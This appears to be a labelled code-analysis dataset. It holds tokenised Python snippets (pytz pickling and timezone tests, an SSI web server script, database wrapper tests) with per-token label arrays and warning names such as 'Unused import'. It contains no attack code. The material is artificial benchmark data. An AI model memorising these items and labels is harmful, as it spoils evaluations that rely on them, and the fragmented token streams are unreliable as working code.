"d\\u", "tz_", "=_", "pickle_", "._", "loads_", "(_", "hacke", "d\\u", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "unpickle", "d\\u", "tz_", "._", "\\u", "utc", "offset_", "._", "seconds_", ",_", "new", "\\u", "utc", "offset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "tz_", "is_", "not_", "unpickle", "d\\u", "tz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pickl", "ing", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Old", "Pickl", "es_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ensur", "e", " ", "tha", "t", " ", "applica", "tion", "s", " ", "serializ", "ing", " ", "pyt", "z", " ", "instance", "s", " ", "as", " ", "pickle", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "have", " ", "no", " ", "trouble", "s", " ", "up", "gradi", "ng", " ", "to", " ", "a", " ", "new", " ", "pyt", "z", " ", "release", ".", " ", "The", "se", " ", "pickle", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "where", " ", "created", " ", "with", " ", "pyt", "z", "2006", "j_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "east", "1_", "=_", "pickle_", "._", "loads_", "(_", "\\u", "byte", "\\u", "string_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cpy", "tz", "\\\\", "n", "\\u", "p", "\\\\", "np", "1", "\\\\", "n", "(", "S", "'", "US", "/", "Eas", "tern", "'\\\\", "np", "2", "\\\\", "n", "I", "-1", "800", "0", "\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "I", "0", "\\\\", "n", "S", "'", "EST", "'\\\\", "np", "3", "\\\\", "nt", "Rp", "4", "\\\\", "n", ".\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "east", "2_", "=_", "pytz_", "._", "timezone_", "(_", "'", "US", "/", "Eas", "tern", "'_", ")_", "._", "localize_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "datetime_", "(_", "2006", "_", ",_", "1_", ",_", "1_", ")_", ")_", "._", "tzinfo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "east", "1_", "is_", "east", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Confirm", " ", "change", "s", " ", "in", " ", "name", " ", "mun", "ging", " ", "bet", "ween", " ", "2006", "j", " ", "and", " ", "2007", "c", " ", "cause_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "no", " ", "problem", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "pap", "1_", "=_", "pickle_", "._", "loads_", "(_", "\\u", "byte", "\\u", "string_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cpy", "tz", "\\\\", "n", "\\u", "p", "\\\\", "np", "1", "\\\\", "n", "(", "S", "'", "Ame", "rica", "/", "Port", "\\u", "minu", "s", "\\u", "au", "\\u", "minu", "s", "\\u", "Pri", "nce", "'\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"\\\\", "np", "2", "\\\\", "n", "I", "-1", "734", "0", "\\\\", "n", "I", "0", "\\\\", "n", "S", "'", "PP", "MT", "'\\\\", "np", "3", "\\\\", "nt", "Rp", "4", "\\\\", "n", ".\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pap", "2_", "=_", "pytz_", "._", "timezone_", "(_", "'", "Ame", "rica", "/", "Port", "-", "au", "-", "Pri", "nce", "'_", ")_", "._", "localize_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "datetime_", "(_", "191", "0_", ",_", "1_", ",_", "1_", ")_", ")_", "._", "tzinfo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "pap", "1_", "is_", "pap", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gmt", "1_", "=_", "pickle_", "._", "loads_", "(_", "\\u", "byte", "\\u", "string_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cpy", "tz", "\\\\", "n", "\\u", "p", "\\\\", "np", "1", "\\\\", "n", "(", "S", "'", "Et", "c", "/", "GM", "T", "\\u", "plus", "\\u", "10", "'\\\\", "np", "2", "\\\\", "nt", "Rp", "3", "\\\\", "n", ".\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gmt", "2_", "=_", "pytz_", "._", "timezone_", "(_", "'", "Et", "c", "/", "GM", "T", "+", "10", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "gmt", "1_", "is_", "gmt", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Common", "Timezone", "s", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "bra", "tis", "lav", "a_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Bra", "tis", "lav", "a", " ", "is", " ", "the", " ", "default", " ", "timezon", "e", " ", "for", " ", "Slo", "va", "kia", ",", " ", "but", " ", "our_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "heuristic", "s", " ", "where", " ", "not", " ", "addin", "g", " ", "it", " ", "to", " ", "common", "\\u", "timezones", ".", " ", "Ideal", "ly", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "common", "\\u", "timezones", " ", "shou", "ld", " ", "be", " ", "populate", "d", " ", "from", " ", "zone", ".", "tab", " ", "at", " ", "runt", "ime", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "but", " ", "I", "'", "m", " ", "hes", "ita", "nt", " ", "to", " ", "pay", " ", "the", " ", "start", "up", " ", "cost", " ", "as", " ", "load", "ing", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "on", " ", "demand", " ", "whi", "lst", " ", "rema", "inin", "g", " ", "back", "ward", "s", " ", "compatible", " ", "see", "ms_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "difficult", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "'", "Euro", "pe", "/", "Bra", "tis", "lav", "a", "'_", "in_", "pytz_", "._", "common", "\\u", "timezones", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Euro", "pe", "/", "Bra", "tis", "lav", "a", "'_", "in_", "pytz_", "._", "common", "\\u", "timezones", "\\u", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Common", "Timezone", "s", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "us", "\\u", "east", "ern", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "'", "US", "/", "Eas", "tern", "'_", "in_", "pytz_", "._", "common", "\\u", "timezones", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "US", "/", "Eas", "tern", "'_", "in_", "pytz_", "._", "common", "\\u", "timezones", "\\u", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Common", "Timezone", "s", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "bel", "fast_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Bel", "fast", " ", "use", "s", " ", "Lon", "don", " ", "time", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "'", "Euro", "pe", "/", "Bel", "fast", "'_", "in_", "pytz_", "._", "all", "\\u", "timezones", "\\u", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "Euro", "pe", "/", "Bel", "fast", "'_", "in_", "pytz_", "._", "common", "\\u", "timezones", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "Euro", "pe", "/", "Bel", "fast", "'_", "in_", "pytz_", "._", "common", "\\u", "timezones", "\\u", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "T", "z", "Info", "Test", "Case_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "from", "utc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "naive", " ", "datetime", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dt", "1_", "=_", "datetime_", "(_", "2011_", ",_", "10_", ",_", "31_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "localized", " ", "datetime", ",", " ", "same", " ", "timezon", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "dt", "2_", "=_", "self_", "._", "tz_", "._", "localize_", "(_", "dt", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Bot", "h", " ", "shou", "ld", " ", "give", " ", "the", " ", "same", " ", "results", ".", " ", "Not", "e", " ", "tha", "t", " ", "the", " ", "standard_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pyth", "on", " ", "tzi", "nfo", ".", "from", "utc", "()", " ", "only", " ", "support", "s", " ", "the", " ", "second", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "dt_", "in_", "[_", "dt", "1_", ",_", "dt", "2_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "loc", "\\u", "dt_", "=_", "self_", "._", "tz_", "._", "from", "utc_", "(_", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "loc", "\\u", "dt", "2_", "=_", "pytz_", "._", "utc_", "._", "localize_", "(_", "dt", "1_", ")_", "._", "asti", "mezone", "_", "(_", "self_", "._", "tz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "loc", "\\u", "dt_", ",_", "loc", "\\u", "dt", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "localized", " ", "datetime", ",", " ", "different", " ", "timezon", "e", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "tz_", "=_", "pytz_", "._", "timezone_", "(_", "'", "Euro", "pe", "/", "Paris", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "tz_", "is_", "not_", "new", "\\u", "tz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dt", "3_", "=_", "new", "\\u", "tz_", "._", "localize_", "(_", "dt", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "self_", "._", "tz_", "._", "from", "utc_", ",_", "dt", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "T", "z", "Info", "Test", "Case_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "normalize_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "other", "\\u", "tz_", "=_", "pytz_", "._", "timezone_", "(_", "'", "Euro", "pe", "/", "Paris", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "tz_", "is_", "not_", "other", "\\u", "tz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt_", "=_", "datetime_", "(_", "2012_", ",_", "3_", ",_", "26_", ",_", "12_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "other", "\\u", "dt_", "=_", "other", "\\u", "tz_", "._", "localize_", "(_", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "local", "\\u", "dt_", "=_", "self_", "._", "tz_", "._", "normalize_", "(_", "other", "\\u", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "local", "\\u", "dt_", "._", "tzinfo_", "is_", "not_", "other", "\\u", "dt_", "._", "tzinfo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "local", "\\u", "dt_", "._", "replace_", "(_", "tzinfo_", "=_", "None_", ")_", ",_", "other", "\\u", "dt_", "._", "replace_", "(_", "tzinfo_", "=_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "T", "z", "Info", "Test", "Case_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "asti", "mezone", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "other", "\\u", "tz_", "=_", "pytz_", "._", "timezone_", "(_", "'", "Euro", "pe", "/", "Paris", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "tz_", "is_", "not_", "other", "\\u", "tz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt_", "=_", "datetime_", "(_", "2012_", ",_", "3_", ",_", "26_", ",_", "12_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "other", "\\u", "dt_", "=_", "other", "\\u", "tz_", "._", "localize_", "(_", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "local", "\\u", "dt_", "=_", "other", "\\u", "dt_", "._", "asti", "mezone", "_", "(_", "self_", "._", "tz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "local", "\\u", "dt_", "._", "tzinfo_", "is_", "not_", "other", "\\u", "dt_", "._", "tzinfo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "local", "\\u", "dt_", "._", "repl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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Module is imported with 'import' and 'import from'
danvk/ssi-server/ssi_server.py
[ { "content": "#!/usr/bin/env python\n'''\nUse this in the same way as Python's SimpleHTTPServer:\n\n ./ssi_server.py [port]\n\nThe only difference is that, for files ending in '.html', ssi_server will\ninline SSI (Server Side Includes) of the form:\n\n <!-- #include virtual=\"fragment.html\" -->\n\nRun ./ssi_server.py in this directory and visit localhost:8000 for an exmaple.\n'''\n\nimport os\nimport ssi\ntry:\n # This works for Python 2\n from SimpleHTTPServer import SimpleHTTPRequestHandler\n import SimpleHTTPServer\nexcept ImportError:\n # This works for Python 3\n from http.server import SimpleHTTPRequestHandler\n import http.server as SimpleHTTPServer\nimport tempfile\n\n\n\n\nif __name__ == '__main__':\n SimpleHTTPServer.test(HandlerClass=SSIRequestHandler)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import http.server as SimpleHTTPServer", "start_line": 23, "start_column": 4, "end_line": 23, "end_column": 42 } ]
[]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "with_", "'", "import", "'_", "and_", "'", "import", " ", "from", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "\\", "10", ";", "Us", "e", " ", "this", " ", "in", " ", "the", " ", "same", " ", "way", " ", "as", " ", "Pyth", "on", "'", "s", " ", "Simple", "HTTP", "Server", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", "./", "ssi", "\\u", "server", ".", "py", " ", "[", "port", "]", "\\", "10", ";", "\\", "10", ";", "The", " ", "only", " ", "difference", " ", "is", " ", "tha", "t", ",", " ", "for", " ", "files", " ", "ending", " ", "in", " ", "'.", "html", "',", " ", "ssi", "\\u", "server", " ", "will", "\\", "10", ";", "inline", " ", "SSI", " ", "(", "Server", " ", "Side", " ", "Includes", ")", " ", "of", " ", "the", " ", "form", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", "<!", "--", " ", "#", "include", " ", "virtual", "=\"", "fragment", ".", "html", "\"", " ", "-->", "\\", "10", ";", "\\", "10", ";", "Run", " ", "./", "ssi", "\\u", "server", ".", "py", " ", "in", " ", "this", " ", "director", "y", " ", "and", " ", "visit", " ", "local", "host", ":", "800", "0", " ", "for", " ", "an", " ", "ex", "map", "le", ".", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "ssi", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "works", " ", "for", " ", "Pyth", "on", " ", "2_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "Simple", "HTTP", "Server_", "import_", "Simple", "HTTP", "Request", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Simple", "HTTP", "Server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "works", " ", "for", " ", "Pyth", "on", " ", "3_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "http_", "._", "server_", "import_", "Simple", "HTTP", "Request", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "http_", "._", "server_", "as_", "Simple", "HTTP", "Server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Simple", "HTTP", "Server_", "._", "test_", "(_", "Handle", "r", "Class_", "=_", "SSI", "Request", "Handler_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
yhat/db.py/db/tests/tests.py
[ { "content": "import pandas as pd\nfrom db import DemoDB, DB, list_profiles, remove_profile\nimport unittest\n\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class PandaSQLTest(unittest.TestCase):\n\n\n \n\n\n \n\n\n\n\n\n\n\n\n\n\n\n \n", "metadata": "root.PandaSQLTest", "header": "['module', '___EOS___']", "index": 5 }, { "content": " def setUp(self):\n self.db = DemoDB()", "metadata": "root.PandaSQLTest.setUp", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 7 }, { "content": " def test_query_rowsum(self):\n df = self.db.query(\"select * from Artist;\")\n self.assertEqual(len(df), 275)", "metadata": "root.PandaSQLTest.test_query_rowsum", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 10 }, { "content": " def test_query_groupby(self):\n q = \"select AlbumId, sum(1) from Track group by 1\"\n df = self.db.query(q)\n self.assertEqual(len(df), 347)", "metadata": "root.PandaSQLTest.test_query_groupby", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 14 }, { "content": " def test_query_from_file_rowsum(self):\n with open(\"db/tests/testscript.sql\", \"w\") as f:\n f.write(\"select * from Artist;\")\n df = self.db.query_from_file(\"db/tests/testscript.sql\")\n self.assertEqual(len(df), 275)", "metadata": "root.PandaSQLTest.test_query_from_file_rowsum", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 19 }, { "content": " def test_add_profile(self):\n profiles = list_profiles()\n self.db.save_credentials(profile=\"test_profile\")\n self.assertEqual(len(profiles)+1, len(list_profiles()))\n remove_profile(\"test_profile\")", "metadata": "root.PandaSQLTest.test_add_profile", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 25 }, { "content": " def test_remove_profile(self):\n profiles = list_profiles()\n self.db.save_credentials(profile=\"test_profile\")\n self.assertEqual(len(profiles)+1, len(list_profiles()))\n remove_profile(\"test_profile\")", "metadata": "root.PandaSQLTest.test_remove_profile", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 31 }, { "content": " def test_list_profiles(self):\n self.db.save_credentials(profile=\"test_profile\")\n self.assertTrue(len(list_profiles()) > 0)\n remove_profile(\"test_profile\")", "metadata": "root.PandaSQLTest.test_list_profiles", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 37 }, { "content": " def test_table_head(self):\n self.assertEqual(len(self.db.tables.Artist.head()), 6)", "metadata": "root.PandaSQLTest.test_table_head", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 42 }, { "content": " def test_table_all(self):\n self.assertEqual(len(self.db.tables.Artist.all()), 275)", "metadata": "root.PandaSQLTest.test_table_all", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 45 }, { "content": " def test_table_select(self):\n df = self.db.tables.Artist.select(\"ArtistId\", \"Name\")\n self.assertEqual(df.shape, (275, 2))", "metadata": "root.PandaSQLTest.test_table_select", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 48 }, { "content": " def test_table_sample(self):\n df = self.db.tables.Artist.sample(n=10)\n self.assertEqual(len(df), 10)", "metadata": "root.PandaSQLTest.test_table_sample", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 52 }, { "content": " def test_table_uniqe(self):\n df = self.db.tables.Track.unique(\"GenreId\", \"MediaTypeId\")\n self.assertEqual(len(df), 38)", "metadata": "root.PandaSQLTest.test_table_uniqe", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 56 }, { "content": " def test_column_head(self):\n col = self.db.tables.Track.TrackId.head()\n self.assertEqual(len(col), 6)", "metadata": "root.PandaSQLTest.test_column_head", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 60 }, { "content": " def test_column_all(self):\n col = self.db.tables.Track.TrackId.all()\n self.assertEqual(len(col), 3503)", "metadata": "root.PandaSQLTest.test_column_all", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 64 }, { "content": " def test_column_sample(self):\n col = self.db.tables.Track.TrackId.sample(n=10)\n self.assertEqual(len(col), 10)", "metadata": "root.PandaSQLTest.test_column_sample", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 68 }, { "content": " def test_column_unique(self):\n col = self.db.tables.Customer.Country.unique()\n self.assertEqual(len(col), 24)", "metadata": "root.PandaSQLTest.test_column_unique", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 72 }, { "content": " def test_table_keys_per_column(self):\n short_db = DemoDB(keys_per_column=1)\n self.assertEqual(\"\"\"+----------------------------------------------------------------------------------------+\n| Track |\n+--------------+---------------+-----------------------+---------------------------------+\n| Column | Type | Foreign Keys | Reference Keys |\n+--------------+---------------+-----------------------+---------------------------------+\n| TrackId | INTEGER | | InvoiceLine.TrackId, (+ 1 more) |\n| Name | NVARCHAR(200) | | |\n| AlbumId | INTEGER | Album.AlbumId | |\n| MediaTypeId | INTEGER | MediaType.MediaTypeId | |\n| GenreId | INTEGER | Genre.GenreId | |\n| Composer | NVARCHAR(220) | | |\n| Milliseconds | INTEGER | | |\n| Bytes | INTEGER | | |\n| UnitPrice | NUMERIC(10,2) | | |\n+--------------+---------------+-----------------------+---------------------------------+\"\"\".strip(),\n '{0}'.format(short_db.tables.Track.__repr__()).strip())", "metadata": "root.PandaSQLTest.test_table_keys_per_column", "header": "['class', 'PandaSQLTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 